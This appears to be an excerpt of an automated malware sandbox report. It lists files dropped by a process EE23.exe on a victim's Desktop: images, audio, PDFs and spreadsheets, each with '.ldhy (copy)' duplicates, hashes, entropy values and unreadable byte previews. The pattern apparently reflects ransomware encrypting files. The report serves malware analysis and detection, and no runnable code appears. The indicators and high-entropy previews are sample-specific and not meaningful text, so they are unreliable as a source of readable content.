                                                                                                                                                                                                                                                              Preview:EIVQS..+.g...zvN...^.$T...... ...s.].k..S.5..c...Nc...`p.p....<:..Z...h.;7k...K....p....*.0.i......M..^Iw.......;.3.;...T.(.^.....\....).!..*Ti..g.%.7#.s...."....).4..9.r#.@.HW?1..'";.q.?..o.m...%.r..f..8......n.ru-...=...%...N..w..d...Y`....dQn.<.fKEU.{.E..J...d..y.Qd......Y......0}q.>Oz.......h.l..T.L..|.me..E.Z^m...C.k*Vf....pB.>.r.....GB...X.[../...g.?....7.P....}......{i....c..l.i./Q.:|..... .i..."..#.Ke...F.S.m-(...x..6..Z..q.....+..-.n...,.....4 .m...........<.3B-..2.....%...:.23b.m+...b_Y..q.3cp..<.a._.W.Lwt.k....4q.......m.w..}pf..k....,....."@T.....4mB.^.w...\..y3B..`...d'..U[7gA....n.b2.f....j...l..Q+.....z..p.$R(..........".....J.......;..d..o.3GK.....^.#3.._.9...i...0Rh.%.(...Y$.@,._...X..{Z....I+._.>zxV...O.F...|...'c..yW*...Y....K7.9I.+....E.,.._4@.n.....z@a|.s..z..uyj.P^..%Y.{...a..X.j.`A||.......7.....{D....{...m....]}..{..!W..,..6.......;.7.."!%.....<..`7&....).(.%#@.Cob|.`j..g. ...A.!...t..0<.....u..E.F..i8.^.l

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\EIVQSAOTAQ.jpg.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.855380849996947
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:R5dq3dPuXLv39jqLoek42Z3PaYSu5g6eYTm51Zkt25GiB2Xc0WCppRpSvsbD:3U3kb39WUN42JCnR64Zx5Xe3ppRpSvmD
                                                                                                                                                                                                                                                              MD5:C4C411B106CF47048D88145FCAF3475D
                                                                                                                                                                                                                                                              SHA1:8F8EFD007427D8F4FF86AFBE74BAFD6264C916C3
                                                                                                                                                                                                                                                              SHA-256:974015D254C2D3244131CBE0CE55E598DC9B1FF8A2A973F27842B77D8F26C938
                                                                                                                                                                                                                                                              SHA-512:6E7C4EB332C9513AFB78648C1B876C39B352DD7DB2C96D8F404D9DA6BF77D25243F367202F4B4D7BE7DCCFE07E3D2569A8285F413CE93345A8531D98F7B5CAA4
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EIVQS..+.g...zvN...^.$T...... ...s.].k..S.5..c...Nc...`p.p....<:..Z...h.;7k...K....p....*.0.i......M..^Iw.......;.3.;...T.(.^.....\....).!..*Ti..g.%.7#.s...."....).4..9.r#.@.HW?1..'";.q.?..o.m...%.r..f..8......n.ru-...=...%...N..w..d...Y`....dQn.<.fKEU.{.E..J...d..y.Qd......Y......0}q.>Oz.......h.l..T.L..|.me..E.Z^m...C.k*Vf....pB.>.r.....GB...X.[../...g.?....7.P....}......{i....c..l.i./Q.:|..... .i..."..#.Ke...F.S.m-(...x..6..Z..q.....+..-.n...,.....4 .m...........<.3B-..2.....%...:.23b.m+...b_Y..q.3cp..<.a._.W.Lwt.k....4q.......m.w..}pf..k....,....."@T.....4mB.^.w...\..y3B..`...d'..U[7gA....n.b2.f....j...l..Q+.....z..p.$R(..........".....J.......;..d..o.3GK.....^.#3.._.9...i...0Rh.%.(...Y$.@,._...X..{Z....I+._.>zxV...O.F...|...'c..yW*...Y....K7.9I.+....E.,.._4@.n.....z@a|.s..z..uyj.P^..%Y.{...a..X.j.`A||.......7.....{D....{...m....]}..{..!W..,..6.......;.7.."!%.....<..`7&....).(.%#@.Cob|.`j..g. ...A.!...t..0<.....u..E.F..i8.^.l

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\EIVQSAOTAQ.mp3

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.823986225994098
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:RU+2nbFJHtc1vzOUi00hSiY51a9D5GTOGtMs7C1Euk+LtOS+clsbD:OFbjHiNOUi00hr9qOGtRC1dk+LgTkmD
                                                                                                                                                                                                                                                              MD5:AD8CAD6BA36CDD2786EAAE38142B1ECB
                                                                                                                                                                                                                                                              SHA1:C4B6D4313EB8237C89F6A74F7D53250BE403B5B3
                                                                                                                                                                                                                                                              SHA-256:1D00F518CCC91B6B661D026AB242947492B395C62944D6303E86C268171F9E5F
                                                                                                                                                                                                                                                              SHA-512:CD966CBB928423FA954E746E6214527F923930140FF136EC891A934D10F40B1B284352E28015A96AD0BACCDBD31CD677EC134C90D7269FD855353BD28B9BE95F
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EIVQSy..=..n5.W8...r....P...T"?....3..'8...}.7f...{.a. |.;..T...w.&.hBd5....PCT...1..E.4.../..o....d.%....q^C..4.@..Fg2j#. CL.V'...:..=.f...@"V.:gb.\..9X"sd.8.i..4._......4.....O..5....-. ..kN:;.W....Rk...$.....p..O.VvD......T..{.4kC.X.3..x...L.......>..d2.5..@.....7.^...M.....t....!..t.}..c..%-.. ..|.R.l~..<S.......W..[C.R........Xh.v.*..U@-)Cu....L.y>mQ..."k...e.@...%.$H.......e.-E.v......$}..B.z;$.Q....Q.E...x`:/..,j2.3x...~.rK..''..{}.}L..R..X..d2*.ZRj..|.,(/.JC..[...2\.j....~,....56..~.......=O..${.......h.u.....p...#.(..@.'.o;...K...}%..2".+.;...+...M[-...^..kO......M../..`+ ........ ...|.7g.2..."...wZ.w...y,.zMm...$...'...<...7...... ..:.....T.}... ........L....DA/{;&.O.gY.f&./..>.)|@ 3V./....7.....L.qJ..y....Z..h7&.H..L=p*...y.....1 .)..U^rt..V..._...Z...8./.....;...DL.c.hZ.:..9.Y.D.'.un./.d...ZqV.E.P.4v..,f$.ao...=.......E..Np...Pm...n.....r .E....%.b....;/...}.'Q.o!....@.....o....B5g..K..b.< .]+bF@C._(..}..I..qUM.=.W.......

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\EIVQSAOTAQ.mp3.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.823986225994098
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:RU+2nbFJHtc1vzOUi00hSiY51a9D5GTOGtMs7C1Euk+LtOS+clsbD:OFbjHiNOUi00hr9qOGtRC1dk+LgTkmD
                                                                                                                                                                                                                                                              MD5:AD8CAD6BA36CDD2786EAAE38142B1ECB
                                                                                                                                                                                                                                                              SHA1:C4B6D4313EB8237C89F6A74F7D53250BE403B5B3
                                                                                                                                                                                                                                                              SHA-256:1D00F518CCC91B6B661D026AB242947492B395C62944D6303E86C268171F9E5F
                                                                                                                                                                                                                                                              SHA-512:CD966CBB928423FA954E746E6214527F923930140FF136EC891A934D10F40B1B284352E28015A96AD0BACCDBD31CD677EC134C90D7269FD855353BD28B9BE95F
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EIVQSy..=..n5.W8...r....P...T"?....3..'8...}.7f...{.a. |.;..T...w.&.hBd5....PCT...1..E.4.../..o....d.%....q^C..4.@..Fg2j#. CL.V'...:..=.f...@"V.:gb.\..9X"sd.8.i..4._......4.....O..5....-. ..kN:;.W....Rk...$.....p..O.VvD......T..{.4kC.X.3..x...L.......>..d2.5..@.....7.^...M.....t....!..t.}..c..%-.. ..|.R.l~..<S.......W..[C.R........Xh.v.*..U@-)Cu....L.y>mQ..."k...e.@...%.$H.......e.-E.v......$}..B.z;$.Q....Q.E...x`:/..,j2.3x...~.rK..''..{}.}L..R..X..d2*.ZRj..|.,(/.JC..[...2\.j....~,....56..~.......=O..${.......h.u.....p...#.(..@.'.o;...K...}%..2".+.;...+...M[-...^..kO......M../..`+ ........ ...|.7g.2..."...wZ.w...y,.zMm...$...'...<...7...... ..:.....T.}... ........L....DA/{;&.O.gY.f&./..>.)|@ 3V./....7.....L.qJ..y....Z..h7&.H..L=p*...y.....1 .)..U^rt..V..._...Z...8./.....;...DL.c.hZ.:..9.Y.D.'.un./.d...ZqV.E.P.4v..,f$.ao...=.......E..Np...Pm...n.....r .E....%.b....;/...}.'Q.o!....@.....o....B5g..K..b.< .]+bF@C._(..}..I..qUM.=.W.......

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\EIVQSAOTAQ.pdf

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.851348498774759
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:Rwaxf5ucXm4Eq/Gc/uCRBzOce3XDieXGG021Ki/wfPdNnWvHl4sbD:KWUcXm4zuxD3zi4F0MKcwtKl4mD
                                                                                                                                                                                                                                                              MD5:1390834BAAF618EDFA2AD5F489C9262F
                                                                                                                                                                                                                                                              SHA1:07D2D63337C767DAE7695FD4A3252918EB972CAB
                                                                                                                                                                                                                                                              SHA-256:2705F2947D20FA9440D4EECABA8CB3606BE2B9B8F1FB71F67FFABE95A839D156
                                                                                                                                                                                                                                                              SHA-512:F40C555B26F96B2D5D57B29CC1E1B1B847EB2169008C50B8028BFE6FB90FB0ACC3AAE2100BC0EBD8A8E7D6CC77A01E0EF4DDB92F73EF0C629B816EBDF9A9A20D
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EIVQS.>...Blo)..,.,...V..o...:4..N..4.j.h...........M.7...V..3..).3....X...J....C.+.F.......= ....-....-.N..:oz.~....=.t,C..8..O.J..:.Q?.*.AV......h.-V..u .?..i...EK)o..Y..nU......B...=....D.pc.2../..'R)...l..*.;iYek.......B...XrS..K.....i..l....;.....P..{}[>......07t?S;... .AFW+....y.....\.>..-........^...x6..^.g..P....OIu...B.i:$..`/.Z5p+.."G.4I..aJ..."d.....z...r.kT(q.w..x=x....dj.q.;...BuJ...D...h..k.z..._"F$..........\Y..t.W/..k.....{...D>.g..g0.D@..]...Sc..w.o%...ZI.KN5.[....W.p.^..ju1<v.J..w..f..Rs..Yg.P....W...RLX.m.5..&R.R..tU%v.H....b<....r.. .).<.[.G.Q..'.:....... dD...5.,..e1....QDS..j."..B?..}F..^.$O._.......C..u..G...&6...l.8...U.'!2g......k^.9<.5.m...}[,..k..C.^.".x}.w..O.v.<d......F7.B......~....J..D..'..%k..&...'.=...<.E...~..'_)1 ....G1mD.a..un.g.5..E%"....:..n.a.2.......l.N.a...2G.`.......-...J.9.*..,.+....=L.r..s..%.U..&.>...W..@.3.1.......~..&/...N6......)2.N.mJ.U.O.`.k.a.....l..H.t...Q.V..#c...

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\EIVQSAOTAQ.pdf.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.851348498774759
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:Rwaxf5ucXm4Eq/Gc/uCRBzOce3XDieXGG021Ki/wfPdNnWvHl4sbD:KWUcXm4zuxD3zi4F0MKcwtKl4mD
                                                                                                                                                                                                                                                              MD5:1390834BAAF618EDFA2AD5F489C9262F
                                                                                                                                                                                                                                                              SHA1:07D2D63337C767DAE7695FD4A3252918EB972CAB
                                                                                                                                                                                                                                                              SHA-256:2705F2947D20FA9440D4EECABA8CB3606BE2B9B8F1FB71F67FFABE95A839D156
                                                                                                                                                                                                                                                              SHA-512:F40C555B26F96B2D5D57B29CC1E1B1B847EB2169008C50B8028BFE6FB90FB0ACC3AAE2100BC0EBD8A8E7D6CC77A01E0EF4DDB92F73EF0C629B816EBDF9A9A20D
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EIVQS.>...Blo)..,.,...V..o...:4..N..4.j.h...........M.7...V..3..).3....X...J....C.+.F.......= ....-....-.N..:oz.~....=.t,C..8..O.J..:.Q?.*.AV......h.-V..u .?..i...EK)o..Y..nU......B...=....D.pc.2../..'R)...l..*.;iYek.......B...XrS..K.....i..l....;.....P..{}[>......07t?S;... .AFW+....y.....\.>..-........^...x6..^.g..P....OIu...B.i:$..`/.Z5p+.."G.4I..aJ..."d.....z...r.kT(q.w..x=x....dj.q.;...BuJ...D...h..k.z..._"F$..........\Y..t.W/..k.....{...D>.g..g0.D@..]...Sc..w.o%...ZI.KN5.[....W.p.^..ju1<v.J..w..f..Rs..Yg.P....W...RLX.m.5..&R.R..tU%v.H....b<....r.. .).<.[.G.Q..'.:....... dD...5.,..e1....QDS..j."..B?..}F..^.$O._.......C..u..G...&6...l.8...U.'!2g......k^.9<.5.m...}[,..k..C.^.".x}.w..O.v.<d......F7.B......~....J..D..'..%k..&...'.=...<.E...~..'_)1 ....G1mD.a..un.g.5..E%"....:..n.a.2.......l.N.a...2G.`.......-...J.9.*..,.+....=L.r..s..%.U..&.>...W..@.3.1.......~..&/...N6......)2.N.mJ.U.O.`.k.a.....l..H.t...Q.V..#c...

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\EOWRVPQCCS.png

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.850737007325093
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:lmkP2GqZKMkZY8La2v5kv/WNrvmBuaYqe1NcxX1WXJh/0MuSytSId85KW8igZZv0:Xe9ZfCHLa2v5k2NzUheExX1WXJhKSyte
                                                                                                                                                                                                                                                              MD5:98CCF94B9D5376FDC94FD52A8C7FCABE
                                                                                                                                                                                                                                                              SHA1:4B03C098770B6BC47F7F37858B955D4A061B6DE6
                                                                                                                                                                                                                                                              SHA-256:53F5E2A673F01F33F5171B15C33A7E5913E1E33B6C6B59D24C576EC378DDEBB1
                                                                                                                                                                                                                                                              SHA-512:D3EAD69BB0702EE804506959E53C41B1BDDF04AE9E6D7E64B65F0CE3C41D9B2AB64AD61FF21436D087BA59882E7DEBA99E1FB6F50224648C559E3DC1B4FA215F
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EOWRV^r>...M.X....,M8{._Y.........Pk.....-..k.0..\./..;.Y6@.c.A_.9l.W.B..?.......N.e...=.;0...V..2....w-.<G.U.....-..!...Fe........(....u.[.zJ...k_y..G..|4b......5g.3A+9..^...3\.".......;..q...i?=....n.....d..9..e+.Y..K.s./L.+9..#.L..`.....?y....!..-.....b..&2:..=..)...*...)..1.........S.y&T.^.I..:...b.....uF..CW.X..P..(...n....`....R.A.6_I.n...A.p.c.Y..GA."...<...%'.....8s."H...k.`[<H...._.3f..Z$./..>2....rX.RIVD..9.nk....Pk2..I...c.....3..3.)DOO.c..%^.....x0....%.C..uj{.."..U..N...n...}D.+...r..oD...k..3.o'.!...`@..y.x.!V.+.g..'.B*...=..../...J....o...Z....W..'~...=...k./gI....pE;.4f...,_...jpu....B.&%..@.ye....j.@;..dP.*ca<b.....I../%.+.h.YS.$...}.D..h...........#IU.&....w.a......Dq..o./^S...6....O....q~.T{.\.!.3-Rda.H.Q.45.E$$....R..Sx.5.GA..{(.W.9.0H..b..........,Tr..TD..4..O.U....q.G+W.?..X.QK.... ...........J.V.+';./.ZIyh...yWx>...4..A.0..A......y.. .G.9@......}.L...<.V<F\.[...&.W.."X..Y.k...@@>D.... .6.....]....e......+.}K..g&.W..Z..

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\EOWRVPQCCS.png.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.850737007325093
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:lmkP2GqZKMkZY8La2v5kv/WNrvmBuaYqe1NcxX1WXJh/0MuSytSId85KW8igZZv0:Xe9ZfCHLa2v5k2NzUheExX1WXJhKSyte
                                                                                                                                                                                                                                                              MD5:98CCF94B9D5376FDC94FD52A8C7FCABE
                                                                                                                                                                                                                                                              SHA1:4B03C098770B6BC47F7F37858B955D4A061B6DE6
                                                                                                                                                                                                                                                              SHA-256:53F5E2A673F01F33F5171B15C33A7E5913E1E33B6C6B59D24C576EC378DDEBB1
                                                                                                                                                                                                                                                              SHA-512:D3EAD69BB0702EE804506959E53C41B1BDDF04AE9E6D7E64B65F0CE3C41D9B2AB64AD61FF21436D087BA59882E7DEBA99E1FB6F50224648C559E3DC1B4FA215F
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EOWRV^r>...M.X....,M8{._Y.........Pk.....-..k.0..\./..;.Y6@.c.A_.9l.W.B..?.......N.e...=.;0...V..2....w-.<G.U.....-..!...Fe........(....u.[.zJ...k_y..G..|4b......5g.3A+9..^...3\.".......;..q...i?=....n.....d..9..e+.Y..K.s./L.+9..#.L..`.....?y....!..-.....b..&2:..=..)...*...)..1.........S.y&T.^.I..:...b.....uF..CW.X..P..(...n....`....R.A.6_I.n...A.p.c.Y..GA."...<...%'.....8s."H...k.`[<H...._.3f..Z$./..>2....rX.RIVD..9.nk....Pk2..I...c.....3..3.)DOO.c..%^.....x0....%.C..uj{.."..U..N...n...}D.+...r..oD...k..3.o'.!...`@..y.x.!V.+.g..'.B*...=..../...J....o...Z....W..'~...=...k./gI....pE;.4f...,_...jpu....B.&%..@.ye....j.@;..dP.*ca<b.....I../%.+.h.YS.$...}.D..h...........#IU.&....w.a......Dq..o./^S...6....O....q~.T{.\.!.3-Rda.H.Q.45.E$$....R..Sx.5.GA..{(.W.9.0H..b..........,Tr..TD..4..O.U....q.G+W.?..X.QK.... ...........J.V.+';./.ZIyh...yWx>...4..A.0..A......y.. .G.9@......}.L...<.V<F\.[...&.W.."X..Y.k...@@>D.... .6.....]....e......+.}K..g&.W..Z..

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\GRXZDKKVDB.pdf

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.855871858074366
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:ZoTiFxAd6q1PF1+Mvo2DOxTneHRKwIgLGJI8m90KNla0SsbD:zM7vo2IrexKwIJJI8m9Va0SmD
                                                                                                                                                                                                                                                              MD5:034EC228393284827A4CE6E4FE36082F
                                                                                                                                                                                                                                                              SHA1:2AFFADDDCCDAF70308FCEA1CCF4677403AD15757
                                                                                                                                                                                                                                                              SHA-256:E7492B37BE81405CB36EE0919D46BE0CC2D3BD747B5495B8329126B04A3F822A
                                                                                                                                                                                                                                                              SHA-512:46F063E623485254371D3A3660E4E67BA63E20826DA9A7BFECD6CA9C6828159C212A29C6BF215855FB5DDC246EA8C9C41A02059D909C0596C0AE491A5DC025E0
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:GRXZD.u...p.U........a....._x..6...>].d....K..DB]#?V.f$..w.2$..[...<..#W:..)o....X..^.Y...D.[.w...W~..n...Sj..$a<T7.?...}b..5t...YC@0......I./|..5.....!.y...A.9gj^.=.jHA..D9..8...@/...[........"..c.T.O..O...Fa.....+*.SE...T..>.kH..Xv.~....<%.VR._{$%...mO..#.N..Es..&.v...'.7O<WU9....{`x..}_..F..|.Rvwc...t.*...#:.a.8L.+.`..QS.....<.j..."<....D..@.)..k.....p.D.C.e..U.>.7Q}.T...UQ.........sD.N#7..ZN.[..oI.\.E....].@.r.Ty..U.4....D._.....^....t......f...wX.....R..^D..0....R.F...,@E....^e.s).>Pj.....0C\Bs?.$\g....!.[.{;.\>S.&....]....t.?,....H...`.;\5.iWh...@?.H..O....B._..!.........B..E.YO.....>&.>/$&.fj.8.54.p..gptA...wV......Fr&|e(E....B.....P.`.{....yY.F&.b...Bf{....A&..MV.R./...O..Vc./..g<...sM.$.+..IE.J.(.J?JW..fHc..$.q..U"D-4y.n..k\aU.R.3.n...:,.....i:-.=.8....y...=.b.b........x. .K.@UUl.....>.C.H.Im....G....e......I..tU.C....J..k...,6....}..tG.d..4..P....1.....7uI?..2..yR.......k\...#.0.f.W$.d.D..N.t..:....C....b..!X67z.;.j.

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\GRXZDKKVDB.pdf.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.855871858074366
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:ZoTiFxAd6q1PF1+Mvo2DOxTneHRKwIgLGJI8m90KNla0SsbD:zM7vo2IrexKwIJJI8m9Va0SmD
                                                                                                                                                                                                                                                              MD5:034EC228393284827A4CE6E4FE36082F
                                                                                                                                                                                                                                                              SHA1:2AFFADDDCCDAF70308FCEA1CCF4677403AD15757
                                                                                                                                                                                                                                                              SHA-256:E7492B37BE81405CB36EE0919D46BE0CC2D3BD747B5495B8329126B04A3F822A
                                                                                                                                                                                                                                                              SHA-512:46F063E623485254371D3A3660E4E67BA63E20826DA9A7BFECD6CA9C6828159C212A29C6BF215855FB5DDC246EA8C9C41A02059D909C0596C0AE491A5DC025E0
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:GRXZD.u...p.U........a....._x..6...>].d....K..DB]#?V.f$..w.2$..[...<..#W:..)o....X..^.Y...D.[.w...W~..n...Sj..$a<T7.?...}b..5t...YC@0......I./|..5.....!.y...A.9gj^.=.jHA..D9..8...@/...[........"..c.T.O..O...Fa.....+*.SE...T..>.kH..Xv.~....<%.VR._{$%...mO..#.N..Es..&.v...'.7O<WU9....{`x..}_..F..|.Rvwc...t.*...#:.a.8L.+.`..QS.....<.j..."<....D..@.)..k.....p.D.C.e..U.>.7Q}.T...UQ.........sD.N#7..ZN.[..oI.\.E....].@.r.Ty..U.4....D._.....^....t......f...wX.....R..^D..0....R.F...,@E....^e.s).>Pj.....0C\Bs?.$\g....!.[.{;.\>S.&....]....t.?,....H...`.;\5.iWh...@?.H..O....B._..!.........B..E.YO.....>&.>/$&.fj.8.54.p..gptA...wV......Fr&|e(E....B.....P.`.{....yY.F&.b...Bf{....A&..MV.R./...O..Vc./..g<...sM.$.+..IE.J.(.J?JW..fHc..$.q..U"D-4y.n..k\aU.R.3.n...:,.....i:-.=.8....y...=.b.b........x. .K.@UUl.....>.C.H.Im....G....e......I..tU.C....J..k...,6....}..tG.d..4..P....1.....7uI?..2..yR.......k\...#.0.f.W$.d.D..N.t..:....C....b..!X67z.;.j.

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\GRXZDKKVDB.xlsx

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.848091879597895
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:Tkd0Zp4CWFSNOVs0x2l+IS/oRpxdqNn8Gn4pchBSldHH9NPA9jiupWQ8sV7Z6SsX:Tkd0cCWACs3lI/o7x8kiSDH9+JX8sZ6D
                                                                                                                                                                                                                                                              MD5:B43B64CFCBEA29AEEF50F8D7A0F552F0
                                                                                                                                                                                                                                                              SHA1:F5D375DB36FF413C24462A117BB7959EA8B6DE2D
                                                                                                                                                                                                                                                              SHA-256:624E503ECF405F726BFB7A035B44FB415BEA6FC9D6CF1D272181A550618538F8
                                                                                                                                                                                                                                                              SHA-512:9228B720A3C191D3A6104B672F3D870ED117BF41F0CE2DDBE852CB74E61F274AB4A7649F84248CCCA449BFE53D30582AC6B13E3CFB1C12AD69EDA06711D3B239
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:GRXZD...z[*..n..*h.E.....>C8+kCtm..AS.c%...u<(M.r.G,.W:..#]j..5Fn...\8.w.2.Dn.M..+c..L+..w..v.,i7..........I3...SG\..}...7..g..g.[UR...........7..Dpf..B.q.DE..0r.}..i.c4X.E. 41...B...O..?..$A.c.)1.|A.Y....x._.E.*...#.L=.K......m.JGz....p...s.......O~>...k#...5..../.y.......B..(._....N+..?..b.#.z..|M.<.gZ...i......#..o.v$9..Mv..ua...v..C.....t.....1<Q\].!D.;.z..^.*#.......5..SI.$[......=*^Y.Z'fBa...l'(o...$....9....i.....>..[Uot....#v.KF...\z....f..hDg...........j< ?....v..Y...L?b.2T;....W......OI(.2.......d.G.......3_.E.J9..[.'wA.."N.2._..w..V....;..H).....n..j.....=..#.!.UJ..+.Cq.^..Al....h...uA......]_...Z.....}.......5..,.I..v.f..gZ.JN..1?......J....0Z.8.N..y...._..p.'..6wo.U0`m:..r.Y....y.*!."|t.zG..}......g......O..d=....X\..pR....... .....:..B...U...A...f..I.=\.U..[...D....<q.5...E...I+.\..6..........^d&?.C0...x.....[..G.d... ..........n.....%.....J.....l..*..jT`#.pu..;q..XPC..p.%{W..s.f......3..N..c.J.|.8...*b....,...K.@.

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\GRXZDKKVDB.xlsx.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.848091879597895
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:Tkd0Zp4CWFSNOVs0x2l+IS/oRpxdqNn8Gn4pchBSldHH9NPA9jiupWQ8sV7Z6SsX:Tkd0cCWACs3lI/o7x8kiSDH9+JX8sZ6D
                                                                                                                                                                                                                                                              MD5:B43B64CFCBEA29AEEF50F8D7A0F552F0
                                                                                                                                                                                                                                                              SHA1:F5D375DB36FF413C24462A117BB7959EA8B6DE2D
                                                                                                                                                                                                                                                              SHA-256:624E503ECF405F726BFB7A035B44FB415BEA6FC9D6CF1D272181A550618538F8
                                                                                                                                                                                                                                                              SHA-512:9228B720A3C191D3A6104B672F3D870ED117BF41F0CE2DDBE852CB74E61F274AB4A7649F84248CCCA449BFE53D30582AC6B13E3CFB1C12AD69EDA06711D3B239
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:GRXZD...z[*..n..*h.E.....>C8+kCtm..AS.c%...u<(M.r.G,.W:..#]j..5Fn...\8.w.2.Dn.M..+c..L+..w..v.,i7..........I3...SG\..}...7..g..g.[UR...........7..Dpf..B.q.DE..0r.}..i.c4X.E. 41...B...O..?..$A.c.)1.|A.Y....x._.E.*...#.L=.K......m.JGz....p...s.......O~>...k#...5..../.y.......B..(._....N+..?..b.#.z..|M.<.gZ...i......#..o.v$9..Mv..ua...v..C.....t.....1<Q\].!D.;.z..^.*#.......5..SI.$[......=*^Y.Z'fBa...l'(o...$....9....i.....>..[Uot....#v.KF...\z....f..hDg...........j< ?....v..Y...L?b.2T;....W......OI(.2.......d.G.......3_.E.J9..[.'wA.."N.2._..w..V....;..H).....n..j.....=..#.!.UJ..+.Cq.^..Al....h...uA......]_...Z.....}.......5..,.I..v.f..gZ.JN..1?......J....0Z.8.N..y...._..p.'..6wo.U0`m:..r.Y....y.*!."|t.zG..}......g......O..d=....X\..pR....... .....:..B...U...A...f..I.=\.U..[...D....<q.5...E...I+.\..6..........^d&?.C0...x.....[..G.d... ..........n.....%.....J.....l..*..jT`#.pu..;q..XPC..p.%{W..s.f......3..N..c.J.|.8...*b....,...K.@.

